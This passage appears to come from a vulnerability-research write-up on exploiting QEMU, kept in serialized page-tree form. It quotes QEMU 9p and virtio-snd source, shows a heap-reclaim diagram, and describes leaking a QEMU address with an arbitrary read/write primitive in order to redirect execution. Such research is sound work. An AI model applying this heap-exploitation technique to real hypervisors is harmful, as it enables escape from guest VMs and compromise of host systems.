fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[128425],{"type":23,"tag":38,"props":128426,"children":128427},{"__ignoreMap":7},[128428,128468,128475,128491,128519,128526,128533,128540,128561,128568,128583,128605,128629,128650,128661,128668,128706,128748,128755,128762,128769,128776,128783,128834,128841,128856,128863,128911,128923,128931,128960,128975,128982,129011,129018],{"type":23,"tag":141,"props":128429,"children":128430},{"class":143,"line":144},[128431,128435,128439,128443,128448,128452,128456,128460,128464],{"type":23,"tag":141,"props":128432,"children":128433},{"style":449},[128434],{"type":29,"value":49523},{"type":23,"tag":141,"props":128436,"children":128437},{"style":449},[128438],{"type":29,"value":49528},{"type":23,"tag":141,"props":128440,"children":128441},{"style":154},[128442],{"type":29,"value":126429},{"type":23,"tag":141,"props":128444,"children":128445},{"style":184},[128446],{"type":29,"value":128447},"v9fs_walk",{"type":23,"tag":141,"props":128449,"children":128450},{"style":154},[128451],{"type":29,"value":192},{"type":23,"tag":141,"props":128453,"children":128454},{"style":449},[128455],{"type":29,"value":50106},{"type":23,"tag":141,"props":128457,"children":128458},{"style":160},[128459],{"type":29,"value":8496},{"type":23,"tag":141,"props":128461,"children":128462},{"style":750},[128463],{"type":29,"value":126451},{"type":23,"tag":141,"props":128465,"children":128466},{"style":154},[128467],{"type":29,"value":758},{"type":23,"tag":141,"props":128469,"children":128470},{"class":143,"line":180},[128471],{"type":23,"tag":141,"props":128472,"children":128473},{"style":154},[128474],{"type":29,"value":766},{"type":23,"tag":141,"props":128476,"children":128477},{"class":143,"line":205},[128478,128482,128486],{"type":23,"tag":141,"props":128479,"children":128480},{"style":154},[128481],{"type":29,"value":126576},{"type":23,"tag":141,"props":128483,"children":128484},{"style":160},[128485],{"type":29,"value":197},{"type":23,"tag":141,"props":128487,"children":128488},{"style":154},[128489],{"type":29,"value":128490},"fidp;\n",{"type":23,"tag":141,"props":128492,"children":128493},{"class":143,"line":218},[128494,128498,128502,128507,128511,128515],{"type":23,"tag":141,"props":128495,"children":128496},{"style":154},[128497],{"type":29,"value":126576},{"type":23,"tag":141,"props":128499,"children":128500},{"style":160},[128501],{"type":29,"value":197},{"type":23,"tag":141,"props":128503,"children":128504},{"style":154},[128505],{"type":29,"value":128506},"newfidp ",{"type":23,"tag":141,"props":128508,"children":128509},{"style":160},[128510],{"type":29,"value":1377},{"type":23,"tag":141,"props":128512,"children":128513},{"style":449},[128514],{"type":29,"value":126255},{"type":23,"tag":141,"props":128516,"children":128517},{"style":154},[128518],{"type":29,"value":1684},{"type":23,"tag":141,"props":128520,"children":128521},{"class":143,"line":227},[128522],{"type":23,"tag":141,"props":128523,"children":128524},{"emptyLinePlaceholder":15},[128525],{"type":29,"value":719},{"type":23,"tag":141,"props":128527,"children":128528},{"class":143,"line":241},[128529],{"type":23,"tag":141,"props":128530,"children":128531},{"style":154},[128532],{"type":29,"value":103286},{"type":23,"tag":141,"props":128534,"children":128535},{"class":143,"line":262},[128536],{"type":23,"tag":141,"props":128537,"children":128538},{"emptyLinePlaceholder":15},[128539],{"type":29,"value":719},{"type":23,"tag":141,"props":128541,"children":128542},{"class":143,"line":271},[128543,128547,128552,128556],{"type":23,"tag":141,"props":128544,"children":128545},{"style":148},[128546],{"type":29,"value":151},{"type":23,"tag":141,"props":128548,"children":128549},{"style":154},[128550],{"type":29,"value":128551}," (fid ",{"type":23,"tag":141,"props":128553,"children":128554},{"style":160},[128555],{"type":29,"value":7251},{"type":23,"tag":141,"props":128557,"children":128558},{"style":154},[128559],{"type":29,"value":128560}," newfid) {\n",{"type":23,"tag":141,"props":128562,"children":128563},{"class":143,"line":293},[128564],{"type":23,"tag":141,"props":128565,"children":128566},{"style":154},[128567],{"type":29,"value":122524},{"type":23,"tag":141,"props":128569,"children":128570},{"class":143,"line":801},[128571,128575,128579],{"type":23,"tag":141,"props":128572,"children":128573},{"style":154},[128574],{"type":29,"value":14455},{"type":23,"tag":141,"props":128576,"children":128577},{"style":148},[128578],{"type":29,"value":1976},{"type":23,"tag":141,"props":128580,"children":128581},{"style":154},[128582],{"type":29,"value":1951},{"type":23,"tag":141,"props":128584,"children":128585},{"class":143,"line":810},[128586,128591,128595,128600],{"type":23,"tag":141,"props":128587,"children":128588},{"style":154},[128589],{"type":29,"value":128590}," newfidp ",{"type":23,"tag":141,"props":128592,"children":128593},{"style":160},[128594],{"type":29,"value":1377},{"type":23,"tag":141,"props":128596,"children":128597},{"style":184},[128598],{"type":29,"value":128599}," alloc_fid",{"type":23,"tag":141,"props":128601,"children":128602},{"style":154},[128603],{"type":29,"value":128604},"(s, newfid);\n",{"type":23,"tag":141,"props":128606,"children":128607},{"class":143,"line":824},[128608,128612,128617,128621,128625],{"type":23,"tag":141,"props":128609,"children":128610},{"style":148},[128611],{"type":29,"value":233},{"type":23,"tag":141,"props":128613,"children":128614},{"style":154},[128615],{"type":29,"value":128616}," (newfidp ",{"type":23,"tag":141,"props":128618,"children":128619},{"style":160},[128620],{"type":29,"value":7251},{"type":23,"tag":141,"props":128622,"children":128623},{"style":449},[128624],{"type":29,"value":126255},{"type":23,"tag":141,"props":128626,"children":128627},{"style":154},[128628],{"type":29,"value":13480},{"type":23,"tag":141,"props":128630,"children":128631},{"class":143,"line":839},[128632,128637,128641,128645],{"type":23,"tag":141,"props":128633,"children":128634},{"style":154},[128635],{"type":29,"value":128636}," err ",{"type":23,"tag":141,"props":128638,"children":128639},{"style":160},[128640],{"type":29,"value":1377},{"type":23,"tag":141,"props":128642,"children":128643},{"style":160},[128644],{"type":29,"value":49734},{"type":23,"tag":141,"props":128646,"children":128647},{"style":154},[128648],{"type":29,"value":128649},"EINVAL;\n",{"type":23,"tag":141,"props":128651,"children":128652},{"class":143,"line":848},[128653,128657],{"type":23,"tag":141,"props":128654,"children":128655},{"style":148},[128656],{"type":29,"value":59030},{"type":23,"tag":141,"props":128658,"children":128659},{"style":154},[128660],{"type":29,"value":59035},{"type":23,"tag":141,"props":128662,"children":128663},{"class":143,"line":2304},[128664],{"type":23,"tag":141,"props":128665,"children":128666},{"style":154},[128667],{"type":29,"value":2008},{"type":23,"tag":141,"props":128669,"children":128670},{"class":143,"line":2313},[128671,128676,128680,128685,128689,128694,128698,128702],{"type":23,"tag":141,"props":128672,"children":128673},{"style":750},[128674],{"type":29,"value":128675}," newfidp",{"type":23,"tag":141,"props":128677,"children":128678},{"style":154},[128679],{"type":29,"value":12435},{"type":23,"tag":141,"props":128681,"children":128682},{"style":750},[128683],{"type":29,"value":128684},"uid",{"type":23,"tag":141,"props":128686,"children":128687},{"style":160},[128688],{"type":29,"value":1674},{"type":23,"tag":141,"props":128690,"children":128691},{"style":750},[128692],{"type":29,"value":128693}," fidp",{"type":23,"tag":141,"props":128695,"children":128696},{"style":154},[128697],{"type":29,"value":12435},{"type":23,"tag":141,"props":128699,"children":128700},{"style":750},[128701],{"type":29,"value":128684},{"type":23,"tag":141,"props":128703,"children":128704},{"style":154},[128705],{"type":29,"value":1684},{"type":23,"tag":141,"props":128707,"children":128708},{"class":143,"line":2335},[128709,128714,128718,128722,128727,128731,128735,128739,128743],{"type":23,"tag":141,"props":128710,"children":128711},{"style":184},[128712],{"type":29,"value":128713}," v9fs_path_copy",{"type":23,"tag":141,"props":128715,"children":128716},{"style":154},[128717],{"type":29,"value":192},{"type":23,"tag":141,"props":128719,"children":128720},{"style":160},[128721],{"type":29,"value":1770},{"type":23,"tag":141,"props":128723,"children":128724},{"style":750},[128725],{"type":29,"value":128726},"newfidp",{"type":23,"tag":141,"props":128728,"children":128729},{"style":154},[128730],{"type":29,"value":12435},{"type":23,"tag":141,"props":128732,"children":128733},{"style":750},[128734],{"type":29,"value":110809},{"type":23,"tag":141,"props":128736,"children":128737},{"style":154},[128738],{"type":29,"value":480},{"type":23,"tag":141,"props":128740,"children":128741},{"style":160},[128742],{"type":29,"value":1770},{"type":23,"tag":141,"props":128744,"children":128745},{"style":154},[128746],{"type":29,"value":128747},"path);\n",{"type":23,"tag":141,"props":128749,"children":128750},{"class":143,"line":2343},[128751],{"type":23,"tag":141,"props":128752,"children":128753},{"style":154},[128754],{"type":29,"value":299},{"type":23,"tag":141,"props":128756,"children":128757},{"class":143,"line":2352},[128758],{"type":23,"tag":141,"props":128759,"children":128760},{"emptyLinePlaceholder":15},[128761],{"type":29,"value":719},{"type":23,"tag":141,"props":128763,"children":128764},{"class":143,"line":2421},[128765],{"type":23,"tag":141,"props":128766,"children":128767},{"style":154},[128768],{"type":29,"value":103286},{"type":23,"tag":141,"props":128770,"children":128771},{"class":143,"line":2429},[128772],{"type":23,"tag":141,"props":128773,"children":128774},{"style":154},[128775],{"type":29,"value":2573},{"type":23,"tag":141,"props":128777,"children":128778},{"class":143,"line":2459},[128779],{"type":23,"tag":141,"props":128780,"children":128781},{"emptyLinePlaceholder":15},[128782],{"type":29,"value":719},{"type":23,"tag":141,"props":128784,"children":128785},{"class":143,"line":2467},[128786,128790,128795,128799,128803,128808,128812,128816,128820,128825,128830],{"type":23,"tag":141,"props":128787,"children":128788},{"style":449},[128789],{"type":29,"value":49523},{"type":23,"tag":141,"props":128791,"children":128792},{"style":154},[128793],{"type":29,"value":128794}," V9fsFidState ",{"type":23,"tag":141,"props":128796,"children":128797},{"style":160},[128798],{"type":29,"value":197},{"type":23,"tag":141,"props":128800,"children":128801},{"style":184},[128802],{"type":29,"value":128412},{"type":23,"tag":141,"props":128804,"children":128805},{"style":154},[128806],{"type":29,"value":128807},"(V9fsState ",{"type":23,"tag":141,"props":128809,"children":128810},{"style":160},[128811],{"type":29,"value":197},{"type":23,"tag":141,"props":128813,"children":128814},{"style":750},[128815],{"type":29,"value":9332},{"type":23,"tag":141,"props":128817,"children":128818},{"style":154},[128819],{"type":29,"value":480},{"type":23,"tag":141,"props":128821,"children":128822},{"style":449},[128823],{"type":29,"value":128824},"int32_t",{"type":23,"tag":141,"props":128826,"children":128827},{"style":750},[128828],{"type":29,"value":128829}," fid",{"type":23,"tag":141,"props":128831,"children":128832},{"style":154},[128833],{"type":29,"value":758},{"type":23,"tag":141,"props":128835,"children":128836},{"class":143,"line":2499},[128837],{"type":23,"tag":141,"props":128838,"children":128839},{"style":154},[128840],{"type":29,"value":766},{"type":23,"tag":141,"props":128842,"children":128843},{"class":143,"line":2507},[128844,128848,128852],{"type":23,"tag":141,"props":128845,"children":128846},{"style":154},[128847],{"type":29,"value":126576},{"type":23,"tag":141,"props":128849,"children":128850},{"style":160},[128851],{"type":29,"value":197},{"type":23,"tag":141,"props":128853,"children":128854},{"style":154},[128855],{"type":29,"value":49644},{"type":23,"tag":141,"props":128857,"children":128858},{"class":143,"line":2567},[128859],{"type":23,"tag":141,"props":128860,"children":128861},{"emptyLinePlaceholder":15},[128862],{"type":29,"value":719},{"type":23,"tag":141,"props":128864,"children":128865},{"class":143,"line":7724},[128866,128871,128875,128880,128884,128888,128892,128897,128901,128906],{"type":23,"tag":141,"props":128867,"children":128868},{"style":154},[128869],{"type":29,"value":128870}," f ",{"type":23,"tag":141,"props":128872,"children":128873},{"style":160},[128874],{"type":29,"value":1377},{"type":23,"tag":141,"props":128876,"children":128877},{"style":184},[128878],{"type":29,"value":128879}," g_hash_table_lookup",{"type":23,"tag":141,"props":128881,"children":128882},{"style":154},[128883],{"type":29,"value":192},{"type":23,"tag":141,"props":128885,"children":128886},{"style":750},[128887],{"type":29,"value":9332},{"type":23,"tag":141,"props":128889,"children":128890},{"style":154},[128891],{"type":29,"value":12435},{"type":23,"tag":141,"props":128893,"children":128894},{"style":750},[128895],{"type":29,"value":128896},"fids",{"type":23,"tag":141,"props":128898,"children":128899},{"style":154},[128900],{"type":29,"value":480},{"type":23,"tag":141,"props":128902,"children":128903},{"style":184},[128904],{"type":29,"value":128905},"GINT_TO_POINTER",{"type":23,"tag":141,"props":128907,"children":128908},{"style":154},[128909],{"type":29,"value":128910},"(fid));\n",{"type":23,"tag":141,"props":128912,"children":128913},{"class":143,"line":7742},[128914,128918],{"type":23,"tag":141,"props":128915,"children":128916},{"style":148},[128917],{"type":29,"value":151},{"type":23,"tag":141,"props":128919,"children":128920},{"style":154},[128921],{"type":29,"value":128922}," (f) {\n",{"type":23,"tag":141,"props":128924,"children":128925},{"class":143,"line":7787},[128926],{"type":23,"tag":141,"props":128927,"children":128928},{"style":443},[128929],{"type":29,"value":128930}," /* If fid is already there return NULL */\n",{"type":23,"tag":141,"props":128932,"children":128933},{"class":143,"line":7893},[128934,128939,128943,128947,128951,128956],{"type":23,"tag":141,"props":128935,"children":128936},{"style":184},[128937],{"type":29,"value":128938}," BUG_ON",{"type":23,"tag":141,"props":128940,"children":128941},{"style":154},[128942],{"type":29,"value":192},{"type":23,"tag":141,"props":128944,"children":128945},{"style":750},[128946],{"type":29,"value":31554},{"type":23,"tag":141,"props":128948,"children":128949},{"style":154},[128950],{"type":29,"value":12435},{"type":23,"tag":141,"props":128952,"children":128953},{"style":750},[128954],{"type":29,"value":128955},"clunked",{"type":23,"tag":141,"props":128957,"children":128958},{"style":154},[128959],{"type":29,"value":2496},{"type":23,"tag":141,"props":128961,"children":128962},{"class":143,"line":22181},[128963,128967,128971],{"type":23,"tag":141,"props":128964,"children":128965},{"style":148},[128966],{"type":29,"value":14420},{"type":23,"tag":141,"props":128968,"children":128969},{"style":449},[128970],{"type":29,"value":126255},{"type":23,"tag":141,"props":128972,"children":128973},{"style":154},[128974],{"type":29,"value":1684},{"type":23,"tag":141,"props":128976,"children":128977},{"class":143,"line":22216},[128978],{"type":23,"tag":141,"props":128979,"children":128980},{"style":154},[128981],{"type":29,"value":299},{"type":23,"tag":141,"props":128983,"children":128984},{"class":143,"line":22224},[128985,128989,128993,128998,129003,129007],{"type":23,"tag":141,"props":128986,"children":128987},{"style":154},[128988],{"type":29,"value":128870},{"type":23,"tag":141,"props":128990,"children":128991},{"style":160},[128992],{"type":29,"value":1377},{"type":23,"tag":141,"props":128994,"children":128995},{"style":184},[128996],{"type":29,"value":128997}," g_new0",{"type":23,"tag":141,"props":128999,"children":129000},{"style":154},[129001],{"type":29,"value":129002},"(V9fsFidState, ",{"type":23,"tag":141,"props":129004,"children":129005},{"style":472},[129006],{"type":29,"value":687},{"type":23,"tag":141,"props":129008,"children":129009},{"style":154},[129010],{"type":29,"value":2496},{"type":23,"tag":141,"props":129012,"children":129013},{"class":143,"line":22232},[129014],{"type":23,"tag":141,"props":129015,"children":129016},{"emptyLinePlaceholder":15},[129017],{"type":29,"value":719},{"type":23,"tag":141,"props":129019,"children":129020},{"class":143,"line":22241},[129021],{"type":23,"tag":141,"props":129022,"children":129023},{"style":154},[129024],{"type":29,"value":103286},{"type":23,"tag":32,"props":129026,"children":129027},{},[129028,129030,129035],{"type":29,"value":129029},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":23,"tag":38,"props":129031,"children":129033},{"className":129032},[],[129034],{"type":29,"value":127830},{"type":29,"value":127167},{"type":23,"tag":131,"props":129037,"children":129039},{"code":129038}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[129040],{"type":23,"tag":38,"props":129041,"children":129042},{"__ignoreMap":7},[129043],{"type":29,"value":129038},{"type":23,"tag":17563,"props":129045,"children":129047},{"id":129046},"leaking-a-qemu-address",[129048],{"type":29,"value":129049},"Leaking a QEMU Address",{"type":23,"tag":32,"props":129051,"children":129052},{},[129053],{"type":29,"value":129054},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":23,"tag":32,"props":129056,"children":129057},{},[129058,129060,129065],{"type":29,"value":129059},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":23,"tag":38,"props":129061,"children":129063},{"className":129062},[],[129064],{"type":29,"value":122250},{"type":29,"value":114},{"type":23,"tag":131,"props":129067,"children":129069},{"code":129068,"language":1807,"meta":7,"className":15191,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n }\n",[129070],{"type":23,"tag":38,"props":129071,"children":129072},{"__ignoreMap":7},[129073,129116,129123,129154,129169,129184,129196,129209,129216,129223,129230,129241,129256,129263,129291,129310,129321,129328,129336,129373,129394,129406,129419,129432,129458,129470,129477,129515,129522,129529,129536,129567,129622,129634,129675,129698,129727,129754,129781,129813],{"type":23,"tag":141,"props":129074,"children":129075},{"class":143,"line":144},[129076,129080,129084,129088,129092,129096,129100,129104,129108,129112],{"type":23,"tag":141,"props":129077,"children":129078},{"style":449},[129079],{"type":29,"value":49523},{"type":23,"tag":141,"props":129081,"children":129082},{"style":449},[129083],{"type":29,"value":49528},{"type":23,"tag":141,"props":129085,"children":129086},{"style":184},[129087],{"type":29,"value":122329},{"type":23,"tag":141,"props":129089,"children":129090},{"style":154},[129091],{"type":29,"value":122334},{"type":23,"tag":141,"props":129093,"children":129094},{"style":160},[129095],{"type":29,"value":197},{"type":23,"tag":141,"props":129097,"children":129098},{"style":750},[129099],{"type":29,"value":122343},{"type":23,"tag":141,"props":129101,"children":129102},{"style":154},[129103],{"type":29,"value":122348},{"type":23,"tag":141,"props":129105,"children":129106},{"style":160},[129107],{"type":29,"value":197},{"type":23,"tag":141,"props":129109,"children":129110},{"style":750},[129111],{"type":29,"value":122357},{"type":23,"tag":141,"props":129113,"children":129114},{"style":154},[129115],{"type":29,"value":758},{"type":23,"tag":141,"props":129117,"children":129118},{"class":143,"line":180},[129119],{"type":23,"tag":141,"props":129120,"children":129121},{"style":154},[129122],{"type":29,"value":766},{"type":23,"tag":141,"props":129124,"children":129125},{"class":143,"line":205},[129126,129131,129135,129140,129144,129149],{"type":23,"tag":141,"props":129127,"children":129128},{"style":154},[129129],{"type":29,"value":129130}," VirtIOSound ",{"type":23,"tag":141,"props":129132,"children":129133},{"style":160},[129134],{"type":29,"value":197},{"type":23,"tag":141,"props":129136,"children":129137},{"style":154},[129138],{"type":29,"value":129139},"vsnd ",{"type":23,"tag":141,"props":129141,"children":129142},{"style":160},[129143],{"type":29,"value":1377},{"type":23,"tag":141,"props":129145,"children":129146},{"style":184},[129147],{"type":29,"value":129148}," VIRTIO_SND",{"type":23,"tag":141,"props":129150,"children":129151},{"style":154},[129152],{"type":29,"value":129153},"(vdev);\n",{"type":23,"tag":141,"props":129155,"children":129156},{"class":143,"line":218},[129157,129161,129165],{"type":23,"tag":141,"props":129158,"children":129159},{"style":154},[129160],{"type":29,"value":123347},{"type":23,"tag":141,"props":129162,"children":129163},{"style":160},[129164],{"type":29,"value":197},{"type":23,"tag":141,"props":129166,"children":129167},{"style":154},[129168],{"type":29,"value":123356},{"type":23,"tag":141,"props":129170,"children":129171},{"class":143,"line":227},[129172,129176,129180],{"type":23,"tag":141,"props":129173,"children":129174},{"style":154},[129175],{"type":29,"value":122376},{"type":23,"tag":141,"props":129177,"children":129178},{"style":160},[129179],{"type":29,"value":197},{"type":23,"tag":141,"props":129181,"children":129182},{"style":154},[129183],{"type":29,"value":122385},{"type":23,"tag":141,"props":129185,"children":129186},{"class":143,"line":241},[129187,129191],{"type":23,"tag":141,"props":129188,"children":129189},{"style":449},[129190],{"type":29,"value":15241},{"type":23,"tag":141,"props":129192,"children":129193},{"style":154},[129194],{"type":29,"value":129195}," msg_sz, size;\n",{"type":23,"tag":141,"props":129197,"children":129198},{"class":143,"line":262},[129199,129204],{"type":23,"tag":141,"props":129200,"children":129201},{"style":449},[129202],{"type":29,"value":129203}," uint32_t",{"type":23,"tag":141,"props":129205,"children":129206},{"style":154},[129207],{"type":29,"value":129208}," stream_id;\n",{"type":23,"tag":141,"props":129210,"children":129211},{"class":143,"line":271},[129212],{"type":23,"tag":141,"props":129213,"children":129214},{"emptyLinePlaceholder":15},[129215],{"type":29,"value":719},{"type":23,"tag":141,"props":129217,"children":129218},{"class":143,"line":293},[129219],{"type":23,"tag":141,"props":129220,"children":129221},{"style":154},[129222],{"type":29,"value":103286},{"type":23,"tag":141,"props":129224,"children":129225},{"class":143,"line":801},[129226],{"type":23,"tag":141,"props":129227,"children":129228},{"emptyLinePlaceholder":15},[129229],{"type":29,"value":719},{"type":23,"tag":141,"props":129231,"children":129232},{"class":143,"line":810},[129233,129237],{"type":23,"tag":141,"props":129234,"children":129235},{"style":148},[129236],{"type":29,"value":1692},{"type":23,"tag":141,"props":129238,"children":129239},{"style":154},[129240],{"type":29,"value":122411},{"type":23,"tag":141,"props":129242,"children":129243},{"class":143,"line":824},[129244,129248,129252],{"type":23,"tag":141,"props":129245,"children":129246},{"style":154},[129247],{"type":29,"value":122419},{"type":23,"tag":141,"props":129249,"children":129250},{"style":160},[129251],{"type":29,"value":197},{"type":23,"tag":141,"props":129253,"children":129254},{"style":154},[129255],{"type":29,"value":122428},{"type":23,"tag":141,"props":129257,"children":129258},{"class":143,"line":839},[129259],{"type":23,"tag":141,"props":129260,"children":129261},{"emptyLinePlaceholder":15},[129262],{"type":29,"value":719},{"type":23,"tag":141,"props":129264,"children":129265},{"class":143,"line":848},[129266,129270,129274,129278,129282,129286],{"type":23,"tag":141,"props":129267,"children":129268},{"style":154},[129269],{"type":29,"value":122443},{"type":23,"tag":141,"props":129271,"children":129272},{"style":160},[129273],{"type":29,"value":1377},{"type":23,"tag":141,"props":129275,"children":129276},{"style":184},[129277],{"type":29,"value":122452},{"type":23,"tag":141,"props":129279,"children":129280},{"style":154},[129281],{"type":29,"value":122457},{"type":23,"tag":141,"props":129283,"children":129284},{"style":449},[129285],{"type":29,"value":53807},{"type":23,"tag":141,"props":129287,"children":129288},{"style":154},[129289],{"type":29,"value":129290},"(VirtQueueElement));\n",{"type":23,"tag":141,"props":129292,"children":129293},{"class":143,"line":2304},[129294,129298,129302,129306],{"type":23,"tag":141,"props":129295,"children":129296},{"style":148},[129297],{"type":29,"value":233},{"type":23,"tag":141,"props":129299,"children":129300},{"style":154},[129301],{"type":29,"value":1220},{"type":23,"tag":141,"props":129303,"children":129304},{"style":160},[129305],{"type":29,"value":19293},{"type":23,"tag":141,"props":129307,"children":129308},{"style":154},[129309],{"type":29,"value":122491},{"type":23,"tag":141,"props":129311,"children":129312},{"class":143,"line":2313},[129313,129317],{"type":23,"tag":141,"props":129314,"children":129315},{"style":148},[129316],{"type":29,"value":1959},{"type":23,"tag":141,"props":129318,"children":129319},{"style":154},[129320],{"type":29,"value":1684},{"type":23,"tag":141,"props":129322,"children":129323},{"class":143,"line":2335},[129324],{"type":23,"tag":141,"props":129325,"children":129326},{"style":154},[129327],{"type":29,"value":2008},{"type":23,"tag":141,"props":129329,"children":129330},{"class":143,"line":2343},[129331],{"type":23,"tag":141,"props":129332,"children":129333},{"style":443},[129334],{"type":29,"value":129335}," /* get the message hdr object */\n",{"type":23,"tag":141,"props":129337,"children":129338},{"class":143,"line":2352},[129339,129344,129348,129353,129357,129361,129365,129369],{"type":23,"tag":141,"props":129340,"children":129341},{"style":154},[129342],{"type":29,"value":129343}," msg_sz ",{"type":23,"tag":141,"props":129345,"children":129346},{"style":160},[129347],{"type":29,"value":1377},{"type":23,"tag":141,"props":129349,"children":129350},{"style":184},[129351],{"type":29,"value":129352}," iov_to_buf",{"type":23,"tag":141,"props":129354,"children":129355},{"style":154},[129356],{"type":29,"value":192},{"type":23,"tag":141,"props":129358,"children":129359},{"style":750},[129360],{"type":29,"value":50543},{"type":23,"tag":141,"props":129362,"children":129363},{"style":154},[129364],{"type":29,"value":12435},{"type":23,"tag":141,"props":129366,"children":129367},{"style":750},[129368],{"type":29,"value":122895},{"type":23,"tag":141,"props":129370,"children":129371},{"style":154},[129372],{"type":29,"value":2168},{"type":23,"tag":141,"props":129374,"children":129375},{"class":143,"line":2421},[129376,129381,129385,129390],{"type":23,"tag":141,"props":129377,"children":129378},{"style":750},[129379],{"type":29,"value":129380}," elem",{"type":23,"tag":141,"props":129382,"children":129383},{"style":154},[129384],{"type":29,"value":12435},{"type":23,"tag":141,"props":129386,"children":129387},{"style":750},[129388],{"type":29,"value":129389},"out_num",{"type":23,"tag":141,"props":129391,"children":129392},{"style":154},[129393],{"type":29,"value":2168},{"type":23,"tag":141,"props":129395,"children":129396},{"class":143,"line":2429},[129397,129402],{"type":23,"tag":141,"props":129398,"children":129399},{"style":472},[129400],{"type":29,"value":129401}," 0",{"type":23,"tag":141,"props":129403,"children":129404},{"style":154},[129405],{"type":29,"value":2168},{"type":23,"tag":141,"props":129407,"children":129408},{"class":143,"line":2459},[129409,129414],{"type":23,"tag":141,"props":129410,"children":129411},{"style":160},[129412],{"type":29,"value":129413}," &",{"type":23,"tag":141,"props":129415,"children":129416},{"style":154},[129417],{"type":29,"value":129418},"hdr,\n",{"type":23,"tag":141,"props":129420,"children":129421},{"class":143,"line":2467},[129422,129427],{"type":23,"tag":141,"props":129423,"children":129424},{"style":449},[129425],{"type":29,"value":129426}," sizeof",{"type":23,"tag":141,"props":129428,"children":129429},{"style":154},[129430],{"type":29,"value":129431},"(virtio_snd_pcm_xfer));\n",{"type":23,"tag":141,"props":129433,"children":129434},{"class":143,"line":2499},[129435,129439,129444,129448,129453],{"type":23,"tag":141,"props":129436,"children":129437},{"style":148},[129438],{"type":29,"value":233},{"type":23,"tag":141,"props":129440,"children":129441},{"style":154},[129442],{"type":29,"value":129443}," (msg_sz ",{"type":23,"tag":141,"props":129445,"children":129446},{"style":160},[129447],{"type":29,"value":14364},{"type":23,"tag":141,"props":129449,"children":129450},{"style":449},[129451],{"type":29,"value":129452}," sizeof",{"type":23,"tag":141,"props":129454,"children":129455},{"style":154},[129456],{"type":29,"value":129457},"(virtio_snd_pcm_xfer)) {\n",{"type":23,"tag":141,"props":129459,"children":129460},{"class":143,"line":2507},[129461,129465],{"type":23,"tag":141,"props":129462,"children":129463},{"style":148},[129464],{"type":29,"value":59030},{"type":23,"tag":141,"props":129466,"children":129467},{"style":154},[129468],{"type":29,"value":129469}," rx_err;\n",{"type":23,"tag":141,"props":129471,"children":129472},{"class":143,"line":2567},[129473],{"type":23,"tag":141,"props":129474,"children":129475},{"style":154},[129476],{"type":29,"value":2008},{"type":23,"tag":141,"props":129478,"children":129479},{"class":143,"line":7724},[129480,129485,129489,129493,129497,129502,129506,129511],{"type":23,"tag":141,"props":129481,"children":129482},{"style":154},[129483],{"type":29,"value":129484}," stream_id ",{"type":23,"tag":141,"props":129486,"children":129487},{"style":160},[129488],{"type":29,"value":1377},{"type":23,"tag":141,"props":129490,"children":129491},{"style":184},[129492],{"type":29,"value":124357},{"type":23,"tag":141,"props":129494,"children":129495},{"style":154},[129496],{"type":29,"value":192},{"type":23,"tag":141,"props":129498,"children":129499},{"style":750},[129500],{"type":29,"value":129501},"hdr",{"type":23,"tag":141,"props":129503,"children":129504},{"style":154},[129505],{"type":29,"value":322},{"type":23,"tag":141,"props":129507,"children":129508},{"style":750},[129509],{"type":29,"value":129510},"stream_id",{"type":23,"tag":141,"props":129512,"children":129513},{"style":154},[129514],{"type":29,"value":2496},{"type":23,"tag":141,"props":129516,"children":129517},{"class":143,"line":7742},[129518],{"type":23,"tag":141,"props":129519,"children":129520},{"emptyLinePlaceholder":15},[129521],{"type":29,"value":719},{"type":23,"tag":141,"props":129523,"children":129524},{"class":143,"line":7787},[129525],{"type":23,"tag":141,"props":129526,"children":129527},{"style":154},[129528],{"type":29,"value":122524},{"type":23,"tag":141,"props":129530,"children":129531},{"class":143,"line":7893},[129532],{"type":23,"tag":141,"props":129533,"children":129534},{"emptyLinePlaceholder":15},[129535],{"type":29,"value":719},{"type":23,"tag":141,"props":129537,"children":129538},{"class":143,"line":22181},[129539,129543,129547,129551,129555,129559,129563],{"type":23,"tag":141,"props":129540,"children":129541},{"style":184},[129542],{"type":29,"value":122539},{"type":23,"tag":141,"props":129544,"children":129545},{"style":154},[129546],{"type":29,"value":192},{"type":23,"tag":141,"props":129548,"children":129549},{"style":160},[129550],{"type":29,"value":1770},{"type":23,"tag":141,"props":129552,"children":129553},{"style":750},[129554],{"type":29,"value":34732},{"type":23,"tag":141,"props":129556,"children":129557},{"style":154},[129558],{"type":29,"value":12435},{"type":23,"tag":141,"props":129560,"children":129561},{"style":750},[129562],{"type":29,"value":122560},{"type":23,"tag":141,"props":129564,"children":129565},{"style":154},[129566],{"type":29,"value":13480},{"type":23,"tag":141,"props":129568,"children":129569},{"class":143